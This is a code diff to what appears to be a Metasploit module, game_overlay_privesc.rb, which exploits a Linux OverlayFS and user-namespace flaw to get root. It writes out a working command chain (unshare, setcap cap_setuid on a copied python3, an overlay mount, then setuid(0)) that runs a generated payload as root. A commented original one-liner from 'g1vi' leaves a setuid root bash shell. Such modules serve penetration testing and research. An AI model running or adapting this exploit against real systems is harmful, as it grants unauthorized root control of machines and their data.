Create dynamic payload

Author: Corey

modules/exploits/linux/local/game_overlay_privesc.rb

@@ -46,8 +46,8 @@ def initialize(info = {})
       )
     )
     register_options [
-      OptString.new('PayloadDir', [true, 'Directory to store payload.', '/tmp/sysdtest/']),
-      OptString.new('PayloadFileName', [true, 'Name of payloadf', 'marv.elf'])
+      OptString.new('PayloadDir', [true, 'Directory to store payload.', '/tmp/main/']),
+      OptString.new('PayloadFileName', [true, 'Name of payloadf', 'marv'])
     ]
   end
 
@@ -94,9 +94,9 @@ def check
   end
 
   def execute_command(_cmd, _opts = {})
-    datastore['PayloadFilename']
+    pay_file = datastore['PayloadFilename']
 
-    datastore['PayloadDir']
+    pay_dir = datastore['PayloadDir']
 
     directories = %w[l u w m].flat_map { |e| "/tmp/main/#{e}" }
 
@@ -106,17 +106,28 @@ def execute_command(_cmd, _opts = {})
       print_status "Creating directory #{dir}"
       cmd_exec "mkdir -p #{dir}"
     end
-    # register_dir_for_cleanup "/tmp/main/"
 
-    write_file '/tmp/main/marv', generate_payload_exe
+    register_dir_for_cleanup "/tmp/main/"
+
+    print_status "Creating directory to store payload: #{pay_dir}"
+    pay_dir.concat "/" unless pay_dir.ends_with? "/"
+    cmd_exec "mkdir -p #{pay_dir}"
+
+    register_dir_for_cleanup pay_dir
+
+    pay = "#{pay_dir}#{pay_file}"
+
+    print_status "Writing payload: #{pay}"
+
+    write_file "#{pay}", generate_payload_exe
     # works move test to low, run unshare mount set cap, shell
 
     print_status 'Starting new namespace, and running exploit...'
 
-    hack = "unshare -rm sh -c \"cp /u*/b*/p*3 /tmp/main/l/; setcap cap_setuid+eip /tmp/main/l/python3; mount -t overlay overlay -o rw,lowerdir=/tmp/main/l,upperdir=/tmp/main/u,workdir=/tmp/main/w /tmp/main/m && touch /tmp/main/m/*\" && /tmp/main/u/python3 -c 'import os;os.setuid(0);os.system(\"chmod 4755 /tmp/main/marv && /tmp/main/marv\")' "
-
     # g1vi original
     # "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'"
+    hack = "unshare -rm sh -c \"cp /u*/b*/p*3 /tmp/main/l/; setcap cap_setuid+eip /tmp/main/l/python3; mount -t overlay overlay -o rw,lowerdir=/tmp/main/l,upperdir=/tmp/main/u,workdir=/tmp/main/w /tmp/main/m && touch /tmp/main/m/*\" && /tmp/main/u/python3 -c 'import os;os.setuid(0); os.system(\"#{pay}\")' "
+
     print_status "Running exploit: '#{hack}' "
     puts cmd_exec_with_result(hack)
   end